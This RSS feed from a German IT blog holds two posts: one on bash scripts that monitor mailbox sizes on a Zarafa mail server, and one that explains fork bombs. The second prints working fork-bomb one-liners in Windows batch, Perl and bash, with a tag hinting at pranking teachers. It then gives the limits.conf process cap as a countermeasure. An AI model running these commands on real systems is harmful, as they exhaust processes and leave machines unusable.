<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>bash Archive - Informatik Guru</title>
	<atom:link href="https://informatik-guru.de/tag/bash/feed/" rel="self" type="application/rss+xml" />
	<link>https://informatik-guru.de</link>
	<description>Dinge die Ihr Lehrer nicht kapiert</description>
	<lastBuildDate>Tue, 12 Feb 2019 05:09:20 +0000</lastBuildDate>
	<language>de-DE</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.8.4</generator>
	<item>
		<title>Mail-Server Monitoring in Bash</title>
		<link>https://informatik-guru.de/featured/mail-server-monitoring-in-bash/</link>
					<comments>https://informatik-guru.de/featured/mail-server-monitoring-in-bash/#respond</comments>
		
		<dc:creator><![CDATA[infoguru]]></dc:creator>
		<pubDate>Mon, 11 Feb 2019 15:17:59 +0000</pubDate>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[admin]]></category>
		<category><![CDATA[Admin-Life]]></category>
		<category><![CDATA[Administrator]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[cronjob]]></category>
		<category><![CDATA[crontab]]></category>
		<category><![CDATA[FISI]]></category>
		<category><![CDATA[Mailserver]]></category>
		<category><![CDATA[Monitoring]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[voodoo]]></category>
		<category><![CDATA[Zarafa]]></category>
		<guid isPermaLink="false">http://informatik-guru.de/?p=707</guid>

					<description><![CDATA[<p>Anhand eines Praxisbeispiels möchte ich heute eine Möglichkeit vorstellen, seinen Mail-Server im Hinblick auf die Postfachauslastung seiner User zu monitoren. In unserem Beispiel wird ein Zarafa-Mail-Server benutzt, welcher ein älteres Produkt ist, das auf Postfix aufsetzt. Das funktioniert in unserem Beispiel zweistufig.Zunächst benötigen wir folgendes Script, um einen Überblick über die Postfachauslastung aller Benutzer zu [&#8230;]</p>
<p>Der Beitrag <a rel="nofollow" href="https://informatik-guru.de/featured/mail-server-monitoring-in-bash/">Mail-Server Monitoring in Bash</a> erschien zuerst auf <a rel="nofollow" href="https://informatik-guru.de">Informatik Guru</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Anhand eines Praxisbeispiels möchte ich heute eine Möglichkeit vorstellen, seinen Mail-Server im Hinblick auf die Postfachauslastung seiner User zu monitoren.</p>



<p>In unserem Beispiel wird ein Zarafa-Mail-Server benutzt, welcher ein älteres Produkt ist, das auf Postfix aufsetzt.</p>



<p>Das funktioniert in unserem Beispiel zweistufig.<br>Zunächst benötigen wir folgendes Script, um einen Überblick über die Postfachauslastung aller Benutzer zu erstellen:<br><br></p>



<p>#Script by C. Caspar<br>#!/bin/bash<br>_USER_LIST=$(zarafa-admin -l | grep -v &#8222;username&#8220; | grep -v &#8222;SYSTEM&#8220; | grep -v &#8222;User&#8220; | grep -v &#8222;&#8211;&#8220; | awk -F&#8216; &#8218; &#8218;{print$1}&#8216; | sort)</p>



<p>for _USERS in $_USER_LIST<br>
do<br>
_CHECK_SIZE=$(zarafa-admin &#8211;details $_USERS &#8211;type user | grep &#8222;Current store size&#8220; | awk -F&#8216; &#8218; &#8218;{print$4, $5}&#8216;)</p>



<p>echo &#8222;$_USERS storesize: $_CHECK_SIZE&#8220;<br> done</p>



<p>Hierbei erstellen wir uns zunächst ein Array aus Usern, welche alphabetisch sortiert sind.<br>Alle Zeilen mit den Strings &#8222;username&#8220;, &#8222;SYSTEM&#8220;, &#8222;User&#8220; und  &#8222;&#8211;&#8220; lassen wir hierbei aufgrund der Struktur des Standard-Outputs des genutzten Befehls nicht in die Ausgabe.<br>Unser Output sieht hierbei zunächst so aus:<br></p>



<p>a_user storesize: 277.54 MB<br>b_user storesize: 14510.95 MB<br>c_user storesize: 19.72 MB<br>d_user storesize: 1748.51 MB<br>e_user storesize: 7758.81 MB<br>f_user storesize: 490.84 MB</p>



<p>Mit diesem Script in der Hinterhand können wir folgendes Script für das tatsächliche Monitoring ausführen:<br><br></p>



<p>#Script by C. Caspar<br>#!/bin/bash<br>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root<br>sh /root/zeige_postfachauslastung.sh &gt; postfachauslastung_recent &amp;<br>sleep 60</p>



<p>echo -e `<code>cat /root/postfachauslastung_recent |sort -n -r -k3 |grep -E '[0-9]{5}' |awk {'print $1"\011"$3"\n\r"'}`</code> | { read body; echo -e $(echo &#8222;Subject: IMAP_Monitoring_Postfachauslastung\r\n&#8220;; echo &#8222;\r\n\r\nFolgende User haben Postfaecher von mindestens 10 GB:\r\n\r\n&#8220;; echo -e &#8222;${body}&#8220;)| sendmail empfaenger_A@Domain.de empfaenger_B@Domain.de empfaenger_C@Domain.de ;}</p>



<p>Was genau tun wir hier jetzt?<br>Zunächst geben wir dem Script über die PATH-Variable mit, wo es überall nach den entsprechenden Kommandos zu suchen hat, um nicht immer den vollen Pfad zu den Kommandos angeben zu müssen.<br>Dann geben wir den Output des cat-Befehls aus, wobei wir die Trennzeichen durch tatsächliche newlines ersetzen.<br>Das wird danach in die neue Variable &#8222;body&#8220; gelesen und weiter verarbeitet.<br>Im Output des Echo greppen wir bereits per regulärem Ausdruck nach 5-Stelligen Zahlen, da uns alle Postfächer ab 10 GB interessieren.<br>Im Nachgang wird per echo -e der Aufbau der später mit sendmail versandten Mail zusammengesetzt.<br>Hierbei est es wichtig, dass wir zeilenumbruchgetrennt &#8222;Subject&#8220; und anschließend den Inhalt (${body}) angeben, bevor wir den gesamten Output in ein sendmail pipen.<br><br>Folgende Mail kommt hierbei bspw. heraus:<br><br><br></p>



<p>Folgende User haben Postfaecher von mindestens 10 GB:</p>



<p>m_user 17333.92 <br>b_user 17311.53 <br>a_user 17193.89 </p>



<p>Das Ganze lässt sich selbstverständlich auch über ein einzelnes Script bewerkstelligen, da ohnehin das erste im zweiten lediglich aufgerufen und in eine temporäre Datei geschrieben wird. Allerdings ist es in unserem Fall so gebaut, da Script Nummer Eins in mehreren Fällen auch anderweitige händische Verwendung findet.<br><br>Die Einbindung, damit das auch alles automatisiert und ohne unser Zutun läuft, erfolgt einfach via Eintrag im Crontab des entsprechenden Systems.<br><br>In unserem Beispiel ist das wie folgt geschehen:<br><br><br>1 6   * * *   root    /root/postfachauslastung_monitoring.sh<br><br>Aus diesem Eintrag geht hervor, dass das Script &#8222;postfachauslastung_monitoring.sh&#8220; täglich um 6:01 Uhr morgens ausgeführt werden soll.<br></p>
<p>Der Beitrag <a rel="nofollow" href="https://informatik-guru.de/featured/mail-server-monitoring-in-bash/">Mail-Server Monitoring in Bash</a> erschien zuerst auf <a rel="nofollow" href="https://informatik-guru.de">Informatik Guru</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://informatik-guru.de/featured/mail-server-monitoring-in-bash/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Forkbomb</title>
		<link>https://informatik-guru.de/coding/forkbomb/</link>
					<comments>https://informatik-guru.de/coding/forkbomb/#respond</comments>
		
		<dc:creator><![CDATA[infoguru]]></dc:creator>
		<pubDate>Fri, 25 Jan 2019 18:15:02 +0000</pubDate>
				<category><![CDATA[Basics]]></category>
		<category><![CDATA[Coding]]></category>
		<category><![CDATA[Unfug]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[erklärbär]]></category>
		<category><![CDATA[forkbomb]]></category>
		<category><![CDATA[how to fuck up berufsschullehrer]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">http://informatik-guru.de/?p=647</guid>

					<description><![CDATA[<p>Unter einer &#8222;Forkbomb&#8220; versteht man ein Programm, welches sich rekursiv selbst kopiert bzw. sich selbst erneut aufruft.In Unix bspw. funktioniert das unter anderem durch den Systemcall &#8222;fork&#8220; in Endlosschleife. Hierbei entstehen in sehr kurzer Zeit enorm viele Prozesse, da die Vermehrung exponentiell vonstattengeht.Jede Kopie ruft immer weitere Kopien hervor.[2, 4, 8, 16 usw.]Nach zehn Zyklen [&#8230;]</p>
<p>Der Beitrag <a rel="nofollow" href="https://informatik-guru.de/coding/forkbomb/">Forkbomb</a> erschien zuerst auf <a rel="nofollow" href="https://informatik-guru.de">Informatik Guru</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Unter einer &#8222;Forkbomb&#8220; versteht man ein Programm, welches sich rekursiv selbst kopiert bzw. sich selbst erneut aufruft.<br>In Unix bspw. funktioniert das unter anderem durch den Systemcall &#8222;fork&#8220; in Endlosschleife.<br><br>Hierbei entstehen in sehr kurzer Zeit enorm viele Prozesse, da die Vermehrung exponentiell vonstattengeht.<br>Jede Kopie ruft immer weitere Kopien hervor.[2, 4, 8, 16 usw.]<br>Nach zehn Zyklen existieren 1024 Prozesse, nach zwanzig Zyklen sind es bereits 1.048.576.<br>Demnach ist arbeiten nach kürzester Zeit nicht mehr möglich.<br><br>In einer Windows-Batch funktioniert dies bspw wie folgt:<br>@echo off<br> :start<br> start &#8222;Forkbomb&#8220; /high %0<br> goto start</p>



<p>Oder in der Kurzform:<br><br>%0|%0<br><br><h5>Plattformunabhängig in Perl:</h5><br>perl -e &#8222;fork while fork&#8220;<br><br><h5>In Bash:</h5></p>



<p><strong>function</strong> forkbomb() {    #Deklaration der Funktion &#8222;forkbomb&#8220;<br> forkbomb | forkbomb&amp;    #Rekursiver Aufruf der Funktion<br>}<br> f                                   #Aufruf der Funktion</p>



<p>Stark verkürzt:<br><br></p>



<p><h5>:(){ :|:&amp; };:</h5><br>Hierbei wird die Funktion &#8218;:&#8216; deklariert, die zwei Kopien von sich selbst aufruft &#8218;:|:&#8216; und diese im Hintergrund ausführt &#8218;&amp;&#8216;.<br>Diese wird nach dem Kommandoseparator &#8218;;&#8216; aufgerufen.</p>



<p><h5>Gegenmaßnahme in den meisten Linux-Distributionen:</h5></p>



<p>Man kann einer Obergrenze für die Anzahl ausgeführter Prozesse pro Benutzer festlegen in der:<br><br>/etc/security/limits.conf<br><br>Diese ist wie folgt aufgebaut:</p>
<div class="scrollable">
<p>
# /etc/security/limits.conf<br>
#<br>
#Each line describes a limit for a user in the form:<br>
#<br>
#<domain>        <type>  <item>  <value><br>
#<br>
#Where:<br>
#<domain> can be:<br>
#        &#8211; a user name<br>
#        &#8211; a group name, with @group syntax<br>
#        &#8211; the wildcard *, for default entry<br>
#        &#8211; the wildcard %, can be also used with %group syntax,<br>
#                 for maxlogin limit<br>
#        &#8211; NOTE: group and wildcard limits are not applied to root.<br>
#          To apply a limit to the root user, <domain> must be<br>
#          the literal username root.<br>
#<br>
#<type> can have the two values:<br>
#        &#8211; &#8222;soft&#8220; for enforcing the soft limits<br>
#        &#8211; &#8222;hard&#8220; for enforcing hard limits<br>
#<br>
#<item> can be one of the following:<br>
#        &#8211; core &#8211; limits the core file size (KB)<br>
#        &#8211; data &#8211; max data size (KB)<br>
#        &#8211; fsize &#8211; maximum filesize (KB)<br>
#        &#8211; memlock &#8211; max locked-in-memory address space (KB)<br>
#        &#8211; nofile &#8211; max number of open files<br>
#        &#8211; rss &#8211; max resident set size (KB)<br>
#        &#8211; stack &#8211; max stack size (KB)<br>
#        &#8211; cpu &#8211; max CPU time (MIN)<br>
#        &#8211; nproc &#8211; max number of processes<br>
#        &#8211; as &#8211; address space limit (KB)<br>
#        &#8211; maxlogins &#8211; max number of logins for this user<br>
#        &#8211; maxsyslogins &#8211; max number of logins on the system<br>
#        &#8211; priority &#8211; the priority to run user process with<br>
#        &#8211; locks &#8211; max number of file locks the user can hold<br>
#        &#8211; sigpending &#8211; max number of pending signals<br>
#        &#8211; msgqueue &#8211; max memory used by POSIX message queues (bytes)<br>
#        &#8211; nice &#8211; max nice priority allowed to raise to values: [-20, 19]<br>
#        &#8211; rtprio &#8211; max realtime priority<br>
#        &#8211; chroot &#8211; change root to directory (Debian-specific)<br>
#<br>
#<domain>      <type>  <item>         <value><br>
#<br>
<br>
#*               soft    core            0<br>
#root            hard    core            100000<br>
</p>
</div>
<p>Der Beitrag <a rel="nofollow" href="https://informatik-guru.de/coding/forkbomb/">Forkbomb</a> erschien zuerst auf <a rel="nofollow" href="https://informatik-guru.de">Informatik Guru</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://informatik-guru.de/coding/forkbomb/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
